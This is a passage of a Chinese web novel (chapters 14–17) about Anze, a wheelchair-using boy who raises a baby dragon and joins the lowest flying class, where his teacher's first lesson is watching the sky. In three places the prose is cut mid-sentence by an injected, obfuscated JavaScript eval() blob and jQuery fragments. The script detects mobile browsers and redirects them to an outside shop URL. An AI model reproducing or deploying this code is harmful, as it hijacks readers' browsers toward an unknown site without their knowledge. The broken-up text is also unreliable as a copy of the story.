这是父母特意为他打造的训练室。他们知道安泽别扭，不管是学习还是训练，都只想悄悄进行不愿意让别人知道，于是便在他的房间里，为他专门设计了这样一个秘密基地。 安泽熟练地把轮椅推到固定的点位，然后抬头伸手一够，刚好抓握上一个位置明显放低的横杠上。 他成功地用双臂把自己从轮椅上悬起来，接着又手臂发力，让自己够上更高一层的杠上，约莫向上爬了三节高度，终于让自己完全垂吊起来，便干脆利落地坐起了引体向上。 “咪！”一旁的极光见此情景，慢慢爬到最低的杆上，翅膀一扇一扇，似乎是在给他加油。 往日里始终一个人完成训练的安泽，被另一双眼睛盯着看，又猛猛多做了十个，终于是精疲力竭地落回了轮椅上。 接着，他又举了会自制的哑铃，做了几组腰部的旋转训练，练了一些腹部和肩背，一直到了全身脱力，终于还是把目光放在了全身唯一没有锻炼到的双腿之上。 一旁，极光还在扭着屁股给自己“咪呀咪呀”地加油鼓劲，安泽伸出手指挠了挠他的尾巴，叫安静下来，这时才紧张而犹豫地握住略高于他肩膀的杠杆，先用胳膊撑起身子，再慢慢地、慢慢地把身体的重量往双腿转移。 “嘶……！！” 一阵剧烈钻心的疼痛顺着膝盖扎向全身，安泽几乎是完全不受控制地摔回了轮椅里。好在他的双手还能控制，重心失衡之前稳稳抓住了一旁的铁杆，才不至于让他狼狈地人仰马翻。 只是太疼了，疼得安泽眼泪都溢到了眼眶边缘，要不是极光惊慌失措地爬到他脸上扑扇翅膀，把眼泪扇干了，他今天就要像个笨蛋一样把自己弄哭了。 安泽把不停用翅膀乱扇自己的极光抱回怀里，又疼得闭上眼，在轮椅上缓了好久好久，终于是回过神来，揉了揉酸胀的腿，接着拿好衣服慢慢去浴室里洗了个澡。 洗完澡、换好衣服之后，天边也已经泛起了宛如极光肚皮一般的白。 安泽又慢悠悠收拾好书包，伸手把地上咪累了的极光抱进怀里—— “走吧，该去学校睡觉咯。” 14.第 14 章 今天是分班结果放榜的日子，安泽原本不打算凑这个热闹、准备直接去流云班报到了，但想想还是有点好奇柯林去了哪儿，便还是停在了人群外围，一边晒着太阳补觉，一边等着对方带着结果投奔自己。 没过一会儿，安泽感觉身下的轮椅被缓缓推动，一睁眼便看见一双熟悉的手，于是头也不回地打招呼：“早啊柯林。” 片刻过后，没等到对方的回应，安泽便知道答案了，还没来得及说点什么，就听到背后传来一阵压抑的啜泣声。 安泽回头看了柯林一眼，那人正通红着双眼，不停地用袖子抹着眼泪。见安泽回头看他，恼羞成怒地伸手把人脑袋往回转去，接着便彻底绷不住了：“呜呜呜……我没考上辉月班……辛西娅老师说我面试表现得还可以，所以应该还是笔试分数不够……我怎么、我怎么这么差劲啊……” 安泽又回过头去，转脸便看见那人把鳐鱼饼饼当成毛巾抹着眼泪，哭得那叫一个梨花带雨。 或许是被当毛巾实在难受，也可能是被柯林的悲伤情绪感染了，饼饼的表情也难得垂丧起来，平日里永远扬成“w”的嘴巴，都撇成了悲伤的“A”字形。 安泽张了张嘴，想想又没说话，只是拍了拍柯林的胳膊以表安慰。 柯林哽了一下，带着哭腔道：“你别安慰我，显得我真的好可怜，还是嘲讽我吧，不然我真的要哭了，算我求你了……” 被许可开嘲讽的安泽松弛下来，开口正常发挥：“没事的柯林，也不一定是笔试成绩的事情，可能辛西娅老师单纯不能接受喜欢找骂的受虐狂呢。” 柯林吸了吸鼻子，把眼泪擦干了，手里的饼饼也干净像小狗一样抖干身体，连滚带爬趴到他头顶上大喘气。 “这样啊”柯林抽抽了一下，情绪缓和下来，“这么一说我突然舒服多了。” 安泽抬手，懒懒打断他：“你也先别舒服，也有可能是不喜欢学习成绩不好的受虐狂。” 柯林被他气笑了，一脚踹上他的轮椅后座，于是极光又噌噌两下爬到安泽肩膀上，龇着牙对他“咪啊咪啊”地哈气。 这么一闹，柯林是彻底调理好了，转而开始迅速自我安慰起来：“也好，你一个人去流云班我可不放心，就当是上帝派我去你身边照顾你的吧。” “随便替上帝做主可是要遭天谴的……”安泽打了个呵欠，想想后面的路不需要自己走了，又安心地仰头闭上眼，“总之谢谢你，我睡了，晚安。” 柯林看他这样子就无语：“你晚上在家都干嘛呢，怎么白天永远睡不醒啊！” 安泽糊弄道：“体谅我一下吧，病人就是需要多休息的嘛……” 说着话的工夫，安泽就已经陷入了梦乡，昨晚当了一夜陪练的极光也打了个呵欠，尾巴一卷，缩到他的臂弯里补觉了。 安泽不知道自己睡了多久，只知道自己是被一阵熟悉的声音吵醒的—— “哎呀！这不是安泽嘛！居然能成为同班同学，看样子我们缘分匪浅啊！” 安泽被点了名，不得已从睡梦中挣扎起来，正对上哈伦那张圆脸，还有他肩膀从左往右一字排开的蜂蜜1234号。 安泽缓了几秒，脑子才重新搭上线，有些疑惑地嘟囔了一句：“你怎么也来这儿了……你志愿填的哪个班啊……？” 按理说不应该，虽然哈伦的体重让他成为走地鸡的概率大大增加了，但是正常地按照保底攻略只填辰星班的话，还是有很大概率能入选的，毕竟米修老师是出了名的会“因材施教”——难道说，他就是潘妮老师说的，另外两位主动报考流云班的同学之一？ 哈伦哈哈笑了两声，语气中丝毫没有半点伤心失落：“我三个班全都填了！老师们肯定是不接受海投的，所以把我流放下来了！哎呀要我说这种潜规则就很没有必要啦，这样对我们双方都是非常不必要的损失嘛！” 安泽深吸了一口气，没有说话，只觉得这人比柯林还要厉害些，不仅非常自信，而且丝毫没有内耗的倾向。 那既然这么说，他便不是那两位主动报名的同学之一了。安泽揉了揉眼睛，抬头扫视起周围——他真的很好奇，除了像自己这样的，还有谁会主动报考这个哪哪儿都比别人差好几截的流云班。 还没等他看到什么，哈伦的声音已经提前给了他答案：“喔！天哪！这不是那只狮鹫吗？！怎么来我们班了？？” 顺着他的声音，安泽便看见那只把破壳仪式搅得风起云涌的雷电狮鹫。 此时，它依旧昂首挺胸、表情高傲淡漠，而它的落脚处，正是那位出手帮安泽推过轮椅的红发雀斑女孩的肩膀。 如果没记错的话，女生应该名叫瑞秋，和上次见面时一样，她仍旧一副紧张局促的表情，意识到周围的注视之后，似乎连全身都颤抖了起来。 见到朝自己走来的哈伦，瑞秋下意识抬起步子就要躲开，但安泽眼睁睁看着她肩上的狮鹫爪子一个发力，女孩儿便被痛得一个激灵，挺直了腰板硬着头皮面带苦笑地看向哈伦。 哈伦也敏锐地意识到了她的情绪，只举起手，示意她放松：“哈喽别紧张！我叫哈伦，这四个是我的飞兽，分别叫‘蜂蜜一二三四号’，你呢？” “你、你好，我叫瑞秋……”瑞秋深吸了一口气，目光闪躲、声音小得像是蚊子一般，“这位是里奥……” “里奥！真帅啊！”哈伦目光盯上狮鹫，见对面不搭理自己，便也没有上手，而是继续上下打量着、欣赏着，“是有什么特殊原因吗？我以为以里奥的本领，完全可以进得了旭日班嘛！” 居然就这么问出来了。安泽听着有些汗流浃背，不知道为什么，他总觉得这种真正触及底线的交流，对他来说比任何一句嘲讽都难以说出口。 “不、不是里奥的原因……”瑞秋低下头，手紧张地攥住了衣角，“里奥真的很厉害，是我……我不行……” “你哪里不行啦？是被老师拒绝了吗？”哈伦咧嘴笑道，“还是说跟我一样，投太多简历被老师提前排除掉了？” “没、没有……”瑞秋的脸已经憋得通红，“我只投了流云班的……” 眼看着再问下去这人就要说不出话来了，哈伦便也憋住了一肚子疑惑，丝滑转移走了话题：“那挺好的呀！以后就是咱们朋友啦！” 瑞秋松了口气，赶紧鞠了个躬，匆匆忙忙说了个“好” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604538|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字，就立刻钻到最拐角的位置躲了起来。 那是安泽原本看中的位置。居然先一步被人抢走了。 又看了一圈，安泽这才发现原来自己就在之前面试的教室里，只是讲台下现在摆了五张桌子，虽然依旧非常空荡，但比先前也算是稍许热闹一些。 五张桌子，意味着应该有五个人，除去滑档来的柯林和哈伦，还有一位“主动投诚”的同学是……？ 哈伦此时显然也在积极地寻找最后一位同班同学，刚伸着脖子往外看，就忍不住发出一声呼唤：“呀！谢伊！我的好朋友！！你怎么也来了？？” 说实话安泽听得头都有点痛了，他感觉全世界只剩两种人，一种是哈伦的朋友，一种是即将成为哈伦朋友的人。 偏头再看，来人是个走路带风的女孩儿。女生一头墨绿色齐肩短发，上身穿着件紧身背心，下半身穿着宽松的工装裤，肩上还搭着一件皮夹克外套，整个人看起来酷酷的。 看到哈伦，女生也三两步蹦过去，熟练地跟哈伦碰了个拳，又用肩膀撞了撞他，笑着揶揄道：“怎么？太重了飞不起来被迫滑档了？” 哈伦乐道：“不是！是我志愿填太满，惹老师不高兴了——你呢？你怎么搞的？” 这位名叫谢伊的女孩儿耸耸肩，无所谓道：“分班之前，我让我爸骑着他的飞兽带我去天上逛了一圈，我发现我根本不喜欢飞，所以就决定安安心心来流云班当个走地鸡咯！” 这句话让一旁的安泽听了有些不是滋味儿，但他也没办法，别人有腿有脚，飞不飞也确实是她自己的选择。 哈伦给她竖了个大拇指，然后又有些好奇：“那你的飞兽呢？看看呗！” 谢伊似乎就在等他这句话，“啪”地打了个响指，接着从工装裤的口袋里掏了半天，最终摸出了一只巴掌大的蜜袋鼯。 “怎么样？可不可爱？它叫小蜜，我妈随便喊的名字。”谢伊的嘴角忍不住上扬起来，“就这小东西，我昨天一个没注意差点把它坐死。” 蜜袋鼯一听这话，叉起腰“叽叽”地跟她抗议起来，谢伊根本没搭理它，只伸手拨弄起它毛茸茸的“翅膀”，叫那蜜袋鼯舒爽地敞开肚皮给她挠了。 一旁的柯林看了，忍不住问：“它会飞吗？” 谢伊手里的小蜜，和自然界中的蜜袋鼯看上去没什么区别，按常理来说，这玩意儿的“翅膀”并不具有飞行能力，只能起到从高处滑翔的缓冲作用。 谢伊看了他一眼，没说话，只伸手一弹小蜜的屁股，那家伙立刻叽叽抗议着，从她的手里飞到了讲台上——是正经飞行，用翅膀像蝙蝠那样飞的，扑扇扑扇的，看起来努力得有些诡异。 “我问了老师，说是能长到正常飞兽的体型，带个人飞是没问题的。”谢伊摊手，“但是我不想飞，它自己要是愿意飞就飞呗，我也不拦着。” 安泽看着那只满教室扑腾的蜜袋鼯，没有吱声，只是缓慢把轮椅推到了稍微偏一些的位置上，闭上眼，打算继续睡觉了。 也就几乎是同时，潘妮老师的声音从门外响起—— “诶呀呀！一、二、三、四、五……咱们流云班的同学都到齐啦！” 15.第 15 章 虽然这是刚来到流云班的第一天，但是安泽已经不止一次在想，如果换成索尔或者辛西娅那样话不多情绪还稳定的老师，自己上课睡觉会不会更踏实一些。 他疲惫地撑起眼睛看向讲台，其他同学也早已经坐回了位置上。 原本正趴着桌上呼呼大睡的极光，看见潘妮老师肩膀上的阿夜，立刻兴奋地仰起头，一边“咪咪”地叫着，一边扭着屁股想从桌上找个合适的位置和姿势落地，显然是想四脚并用爬去找阿夜玩。 但没想到的是这也有竞争对手——除了自始至终一动不动站在瑞秋头顶的狮鹫，其他几只飞兽一看到阿夜，也纷纷兴奋地扑腾着翅膀飞了过去。 只是扑扑楞楞几秒钟，鳐鱼饼饼“pia”地一声宛如飞饼甩向讲台，蜂蜜1234号排成“一”字首尾相连宛如四颗炮弹轰然砸去，蜜袋鼯小米也啪嗒啪嗒扇着翅膀、在一众乱闪的翅膀和肘子之间硬生生挤出一条血路来。 眼看着眨眼间阿夜已经被围得水泄不通，刚扭着屁股顺着桌腿爬到半腰的极光急了，一边翕张翅膀一边抬头看着安泽“哇哇”叫起来。 这还是安泽第一次听到极光发出这样的叫声，知道这孩子肯定是急坏了，赶忙伸手把孩子从桌腿上摘下来，然后猛地架起轮椅直接杀到了阿夜身边，再轻轻把极光放到了离阿夜最近的地方。 “咪！”看着极光宣告胜利般兴奋地抬起翅膀，讲台下的同学们也急了—— 柯林：“不是你怎么还直接下场了？？” 哈伦：“哇，兄弟这是耍赖了啊！” 谢伊：“溺爱啊这是溺爱！” 安泽假装没听见，只确定极光抢到了最佳位置，便悠哉悠哉摇着轮椅回到座位上，仿佛无事发生一般闭上眼，躺下假寐了。 此时，讲台上的潘妮老师见到簇拥过来的飞兽，表情瞬间幸福起来，她张开双臂，把包括阿夜在内的飞兽们“哗啦”一揽拥入怀中，然后好似吹口风琴一般，极其陶醉地从左到右对着一排质地不同的脑袋，挨个儿狠狠吸了一大口，又细细回味了好一阵子，这才抬头搭理上台下的学生们：“诶呀，我们阿夜真的好招小朋友喜欢！” 台下没见识过这个场面的柯林吓呆了，忍不住戳了戳一旁的打瞌睡的安泽：“这对吗？这老师看起来像是个兽贩子。” 安泽半抬起眼皮，懒洋洋回答道：“是啊，在学校搞拐卖货源都不用愁了，真是好计谋。” 猫头鹰阿夜张开翅膀，挨个儿雨露均沾地拍了拍孩子们的头，接着便把他们整体往前一推，除了极光的所有孩子们便又扑棱棱飞回同学们身边了。 眼看着极光又转身丈量起下讲台的高度，笨手笨脚的样子感觉下一秒就得摔下来，阿夜立刻抢在安泽之前张嘴叼住了小龙的后脖颈，在一声悠长的“咪”声中，将孩子从讲台上稳稳送回安泽的怀中。 安泽赶忙伸手接过极光，就听阿夜对自己“咕咕咕”了两声。潘妮老师翻译道：“阿夜说它有点调皮，但是个好孩子，让你好好照顾它。” 安泽不大适应这种翻译兽语的行为，只有些恍惚地点头，说了句“谢谢咕老师”，阿夜便也张着翅膀在他头顶慈祥地爱抚了一番。 总觉得这只咕咕比起潘妮更有当老师的样子呢…… 这样想着，安泽又一不小心睡着了过去，迷迷糊糊间只隐约听见这位潘妮老师又激情澎湃地站在讲台上演讲了一番，也不知道说了什么，只知道抬头再看的时候，方才还怀疑人家是兽贩子的柯林此时眼中已然散发出信徒般虔诚的光来。 ……这人都说了些什么？！未免也太过恐怖了些！！ 安泽刚刚倒抽了一口冷气，潘妮老师便拍拍手，让大家简单做个自我介绍。 特别特别老土的开场破冰环节，但是好像也没别的办法，好在班里同学够少，没几分钟大家便自我介绍完了。 紧接着，潘妮老师又道：“那大家对各自的飞兽伙伴又了解多少呢？有没有人想要先来介绍介绍？” 安泽低头看了一眼怀里的极光，心里产生了一丝别样的骄傲，他难得有想要主动举手的冲动，但目光落到它左翅上时，骄傲便被更加不安的忐忑感替代了。 这时哈伦先一步高高举起手来，潘妮笑道：“好呀，记得不只是要介绍名字和种族哦，我还想知道各位飞兽小朋友?的性格、喜恶、特长和缺点。平时爱吃什么、爱玩什么，有没有什么独特的小习惯，有没有可以在飞行、战斗方面可以发挥的技能等等。” “那先算了！”哈伦立刻缩回举起的手，倒也毫不内耗，“我们认识的时间还太短了，再给我一段时间了解了解我才能答得出来！” 其他同学连连点头，安泽这才低头，发现自己这阵子也光顾着怎么让极光填饱肚子，其他的事情也根本来不及了解。 潘妮老师弯起眼睛，一边伸手像撸猫一样撸着阿夜的脑袋，一边道：“那就把这个任务当成这个月大家唯一的作业啦！” “唯一的作业？！”谢伊惊喜道，“这么简单？？” “对，就是唯一的作业。”潘妮老师道，“但是这项作业每天都需要提交进度，同时我还会对大家提供的内容进行检查核验，最后这项作业的完成度会纳入本学期的考核分，所以请大家认真对待咯～” 大家面面相觑，一时半会没人吱声，似乎是并不清楚这项作业的意义和难度。 “也就是每天交一份飞兽观察报告呗……”安泽耷拉着眼，总结道，“要求次次都有进度，意味着报告的内容还不能重样。” “哇塞，一个月也就是三十份不重样啊！”柯林道，“真的有那么多东西可以写吗？” “感觉挺难啊！”哈伦挠了挠头，看了一眼自己肩上的蜂蜜1234号，又忍不住笑起来，“还好我有四只！能写的东西比你们多四倍！” “胖哥儿，你先把你那四只分清楚再说吧！”谢伊调侃道。 还好流云班统共就五名同学，大家你一言我一语倒也不吵，潘妮老师更是极有耐心，一直站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636001|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在讲台上听他们聊天，偶尔还插两句。 成绩一般但是有一颗上进心的柯林思忖了一会儿，有些焦虑了：“老师，也就是说我们这一个月其实都在干这一件事？” “不只是这一个月，认识、了解你们的飞兽伙伴，是你们这一学期、一学年、甚至是这一生都要进行的课题。”潘妮老师笑道，“就像我昨天也才刚刚发现，阿夜最近的听力极限又比之前远了半米，或许跟他耳羽变长有关。” 柯林眨了眨眼，细品了一下她的话，果然又很快地接受了：“听起来很不错！” 这时候，隔壁辰星班的大教室里传来一声猛烈的掌声，显然是米修老师又做了些什么，刚刚才被安抚下来的柯林又坐不住了：“老师，那我们这一个月的课程都有哪些啊？” “不要着急，我自有安排！”潘妮老师拍拍手，从容道，“来，现在带着自己的飞兽伙伴去天空操场集合，我们正式来上第一课！” 听到要去天空操场，除了安泽的所有同学、包括一直不说话的瑞秋、甚至是自称不喜欢飞行的谢伊都激动起来，你争我抢地带着飞兽涌出教室。 唯独安泽留在原地，耷拉着眼皮没有动弹。 “不出去吗？”潘妮老师看到他一动不动，似乎也不意外，只是平静地问。 “老师，我想留下来睡一会儿，这个对我来说比去操场骑着龙飞什么的更实际一些吧。”安泽的声音没有起伏，“也麻烦老师帮忙带一下极光吧，它跟着咕老师应该没问题的……” 话还没说完，潘妮老师便直接推起安泽的轮椅，大大咧咧往教室外走起来：“旷课是要扣全勤分的喔。来吧，难不成你真觉得现在的大家是能飞起来的吗？” 安泽没有挣扎，认命地就这样被人推倒了天空操场，路途中也还是忍不住有些好奇——不飞的话，去天空操场做什么？ 等安泽到达天空操场等时候，其他同学们早已经在目的地等着潘妮老师到来了。换作平日里他们应该不至于这般兴奋，只是此时，不只是他们第一次以真正的参与者、而不是观众的身份进入飞行操场，更是因为同样已经在操场的，还有索尔老师和他精挑细选的十名旭日班的精英—— 同样是刚接触飞兽不久、第一天正式上课的一年级新生，旭日班的同学一半已经可以骑着飞兽勉强在低空飞行，另一半没有完全发育出承载能力的飞兽，也已经可以非常灵活稳定地独自飞行了。 流云班的孩子们看看天上的旭日班，又看了看慢悠悠赶来的潘妮老师，一个个憧憬又亢奋，计划着在这美好的第一节课上，迎接这极其有意义的人生第一飞。 可潘妮老师只是慢悠悠地把孩子们带到操场中央，找了一块儿干净视野好的草地，让大家围成了一个圆圈。 紧接着，潘妮老师举起双臂向后一仰，在同学们的注视下“扑通”一下躺到柔软的草地上—— “来！躺下！”地上的潘妮老师朝大家招招手，“今天这节课咱们就只做一件事——看天！” 16.第 16 章 “看天？”所有同学都愣住了，甚至来不及失望，只剩下满满的疑惑。 “对啊！天多好看，一起来看天吧！”潘妮老师像仰泳一般上下滑动起四肢，一旁的阿夜也跟着躺下，肚皮朝上，上下划着翅膀。 学生们没有动静，倒是飞兽们看到阿夜啪地一下躺在地上，便也争先恐后地模仿起来—— 率先有所行动的是饼饼，鳐鱼做这种动作有得天独厚的优势，只蠕动着身体啪嗒啪嗒飞到半空，然后身子一转、肚皮一翻，就像摊饼一样摊在地上。 安泽用胳膊肘戳了戳柯林，拉长语调懒懒道：“喂柯林，你的面膜掉地上了，回家记得洗洗才能用哦——” 柯林白了他一眼，还没等说什么，蜂蜜1234号就一个接一个飞到半空，然后齐刷刷收起翅膀，像四朵毛绒球一般“嗒嗒嗒嗒”自由落体到草坪上。 见大家都躺在地上，小蜜也叽叽啾啾地躺了下去，刚躺下去便转了转眼珠子，紧接着便迅速扭头找好位置，咻地起身钻到阿夜的翅膀旁边，甚至还小心翼翼提溜起对方的羽尖，像盖被子一样轻轻盖到了自己的肚皮上。 “人贩子的帮凶……”安泽话音还没落，怀里的极光便也吭哧吭哧扭着屁股划到草地上了，小龙没法像其他飞兽飞得那般敏捷，便只能加快速度用四只爪子狂奔，眼看着小蜜已经占领高地，急得极光“咪”地都走调了，立刻拿出排山倒海之势冲了过去，最终抢到了阿夜另一只翅膀边的绝佳位置。 不过是眨眼的功夫，所有的飞兽都已经听老师的话，乖乖躺下了。潘妮老师抬头看了一眼，目光定格在肚皮朝上的饼饼身上，没忍住笑出声，接着伸手给饼翻了个面：“饼饼啊，你忘了你的眼睛长在背上了吗？” 安泽见状，忍不住瞪大眼睛看向柯林，柯林也同样震惊地回看向安泽：“什么？它的眼睛在背上呢？？” 两个人凑过去一看，才发现那白色的饼背后，有两粒芝麻大小的黑点。 “这居然不是青春痘吗……”安泽看了，脸色都白了，“那它经常看着柯林笑得那两个黑的是什么……” “你说这个吗？”潘妮老师嘿咻一下把鳐鱼抱起来，指着那“w”型嘴上的两个点，“这是它的鼻孔啊！” 饼饼眨了眨两个眼睛……不，是鼻孔，愉悦地应和：“汪儿！” “不！！我不相信！！”柯林崩溃地抱住头，“这不是真的！！这怎么能是鼻孔！！你说它每天是用鼻孔看我？！这不可能！！！” “我得想办法把这件事情忘掉才行……”安泽也捂住脸，似乎有什么信仰在顷刻间破灭了，“这跟突然有人告诉我柯林每天是用屁股跟我打招呼有什么区别……” 一群人哈哈笑着，哈伦笑弯了腰，顺势一歪，四仰八叉地躺到了蜂蜜1234号的中间，谢伊也乐着躺了下来。一旁的瑞秋见状，抓着衣摆看了看一旁唯一没有躺下的狮鹫里奥，又看了一眼抱着鳐鱼的潘妮老师，正不知所措时，潘妮老师伸出手，一把牵住她：“来嘛，先躺下再说。” 说完，她又朝被饼饼震撼到失语的两人招手：“你俩也躺下，安泽你需不需要……” 话还没说完，安泽便像是被触动到了什么开关一般，在一瞬间完成了收拾表情、双手撑着轮椅起身、身子一偏、顺利又体面地躺到草地上这一系列动作，然后像什么都没有发生过一样，淡淡道：“需要什么。” 潘妮老师怔了一下，又笑起来：“没什么！你比我想象中还要厉害！” 说话间，还没缓过神来的柯林找了一个远离饼饼的位置躺下了。就这样，所有人和飞兽都莫名其妙躺倒在了草丛里，除了安泽一躺下就盯着天空没有诺言之外，大家见潘妮老师不出声，便就这样面面相觑，最后齐刷刷看向她—— 班里自认为最积极上进的柯林忍不住了，又第一个开口：“老师，我们是在干嘛……” 潘妮老师也一直盯着天空，目光移也不移，理所当然回答道：“看天啊！刚刚不是已经告诉过你们了吗？” 大家眼中的疑惑更甚，谢伊随口道：“看天？天上有什么啊？” “对，我也想问问大家，天上到底有什么？”潘妮老师说，“你们能看到什么？都跟我说说呗？” “有同学在飞。”哈伦伸手指了指，“六七个，都是一年级的，应该是旭日班的，飞得很一般，我肯定能比他们飞得好。” “不错！这么快就已经有目标了！”潘妮给他比了个大拇指，“其他人呢？” “天上有鸟诶，不是飞兽，是野生的小鸟。”柯林也很快进入了状态，“好可爱啊，没有被驯化的野生的动物，特别自由……只不过感觉最近几年因为天空交通管制，这样的野鸟越来越少了。” “很棒！动物本来就和我们一样一同享用这片天地，所以我们在飞上天空上的时候，也要记得尊重自然中的其他成员，不要成为傲慢的人类啊。”潘妮鼓励道，“还有吗？” 见剩下的人都保持沉默，瑞秋在煎熬中硬着头皮开口：“有云……有的很高有的很低，有的还能看出风的形状……” “特别好！”潘妮老师夸奖道，“大家有没有觉得，云是特别好的东西——相比于太阳只能出现在白天，月亮和星星只能出现在夜晚，云是随时随地都可以出现在天空之中的，而且它没有固定的形状，可以变成风、也能变成雨，可以很高、也可以很低，它不被任何东西所束缚，是最自由、最快乐的。” 大家听了这席话，都不免抬起头，看着那天空中的流云——流云班的他们，也会像这般自由快乐吗？ 迟迟没有人吱声，潘妮老师直接点名：“谢伊呢？” 一旁的谢伊已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651203|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用胳膊挡住了眼睛，表情有些痛苦：“老师我看不出什么东西，太阳特别烈，很刺眼……” “没有啊，你已经看到了，太阳就是你所看到的。”潘妮道，“我们飞得越高、就离太阳越近，离光明越近，同样也要经历更热烈的炙烤和强光刺目，不仅如此，天空中会有更夸张的寒冷、更强烈的风暴、更恐怖的雷雨——所以飞行可不单单是一种享受，更是一种挑战和考验。” 说到这里，谢伊已经捂住眼睛，彻底放弃去看天空了：“我一点都不想飞……老师，你就放弃我吧……” 潘妮见状，笑了笑，没有多说什么，而是看向一旁始终没有作声的安泽。 虽然认识这个孩子的时间加起来还不超过一天，但潘妮自认为能把他的性格和想法摸个半清了。换作平时，这孩子早该见缝插针有一搭没一搭地嘴毒几句，但这回不同，他从躺下开始便十分投入地去看头顶的天空。 这群孩子里，大抵只有他是真正地、沉浸地去看天的。潘妮几乎看见那天空变成小小的一片海，就这样流淌进了这孩子蔚蓝色的双眸之中。她看见那天空之海中的洋流、暗潮、浪花、游兽，就这样被他的双眼海纳百川地容纳下去，他似乎却依然不满足一般，就这样怔怔地、恨不得把刺眼的太阳也一同拥入怀中去。 她知道自己开口，这样的画面就会被打断了，于是潘妮就这样静静又等了一会，直到觉得是时候该继续往下走流程了，才例行公事地点他的名：“安泽呢？你在天上看到了什么？” 被点到名字的瞬间，那孩子便“唰”地闭上眼睛，然后等了好几秒，这才装作睡眼惺忪般缓缓抬起眼皮，甚至还做了全套戏码，硬逼着自己打了个呵欠，把嗓子压得像是刚睡醒一般：“嗯……？抱歉老师，太阳太舒服了，我一不小心睡着了。” 完全是意料之中的反应，潘妮忍不住笑起来，却也没拆穿他，只顺着他的话道：“上课打瞌睡不是好习惯哈，晚上早点休息，再又下次就抓去隔壁给米修老师修理咯。” 安泽揉了揉眼睛，又见缝插针地抬眼看看蓝天，这才有气无力地应和道：“好呢。主要是老师您的课讲得太合适了，不睡一觉感觉就像是错过了一个屠宰场的肉一样可惜。” 一听到肉，地上的极光“咪”地一声抬起头，安泽假装没听见，抬手又给它的龙脑袋摁回草丛去。 潘妮没再强求他答题，只是开口对所有人道：“今天第一节课，之所以安排大家出来看天，一方面是想让大家更进一步了解，大家想要征服的‘天空’，到底是什么样的存在，另一方面也是想让大家更多地了解自己对天空的想法。” “你们很幸运，从现在开始到毕业做出抉择，还有足足三年的时间去思考这个问题。”潘妮道，“从现在开始去寻找答案吧——你到底想不想飞，你是为了什么而飞。” 17.第 17 章 安泽并不喜欢潘妮老师。 他总觉得这个人安排的每一节课，都是在让他们“认清自己”、“接受现实”。她自己就是个最终留在地面的走地鸡，她一定也想用当初说服自己的那一套去说服她的学生们，比如让他们看天，告诉他们天空中有多少困难和危险。 但她这回应该是失算了。安泽有些得意地心想——自己可不是抬抬头就会被打败的人。 一旁，一起躺下的飞兽们也都簇拥在阿夜的身边各忙各的—— 饼饼确实是个嘴上闲不住的孩子，它用胸鳍抱住了蜂蜜不知道几号，把那毛球塞到嘴边又索又舔，吓得其他三号蜂蜜着急地围着它们打转儿。 小蜜把阿夜的翅膀当成了滑梯，扑棱扑棱飞到顶上去，再“咻”地一下顺着光亮的羽毛滑到地上来。阿夜怕它摔着了，便用翅尖帮它垫着，哪怕它落了个连滚带爬也能毫发无伤地继续玩着。 里奥没有参与集体项目，依旧睁着眼站在瑞秋的肩膀上。 没有飞兽在听话地看天，安泽抱着最后一丝期待看向极光，他想，作为自己的龙，极光应该和其他飞兽不一样吧，它应该像自己一样喜欢天空、此时也该看得十分投入才对。 这样望子成龙的心态，直到看到极光的一瞬间彻底粉碎——这孩子早已经在暖烘烘的太阳光下闭上了眼，小肚皮翻在半空一起一伏的，显然是睡得很香了。 安泽一个没忍住，无奈又好笑地笑出声来。期望落空是真的，但是看它这个样子生不出起来也是不假。 此时，回过神来的同学们也开始注意到了自己的飞兽们。柯林一声惊呼朝饼饼飞扑过去让它松口，哈伦只是看着湿漉漉的蜂蜜不知道几号哈哈大笑，谢伊在给小蜜加油打气，而安泽便就这样静静地看着睡梦中的极光。 他想起自己有时候夜里看书没忍住睡着，醒来发现自己身上盖了一层毯子，他便会责怪爸妈为什么不喊自己起床继续学。妈妈不止一次笑着对他说，你睡得那么香、睡相又那么可爱，谁忍心打扰你。 这会儿，安泽是真的理解了这种心情。在这一刻，他是真的觉得没有什么是比让极光继续睡觉更要紧的事情了。 这样认真看着它的时候，安泽才惊觉极光已经是这些飞兽中个头最大的一个了。这小家伙刚出生的时候明明只有巴掌那么大，张开翅膀还不如饼饼摊开了宽，可眨眼睛就几日的功夫便已经弯道超车，变成一个小小的大块头了。 长得这么快，看样子自己争取来的那些肉没有白吃。可安泽越是这么想就越难免感到亏欠——他能感觉到其实极光每顿饭都是没吃饱的，如果自己再有能力一些、再去多帮它弄点食物来，它会不会长得更快、体型更大一些。 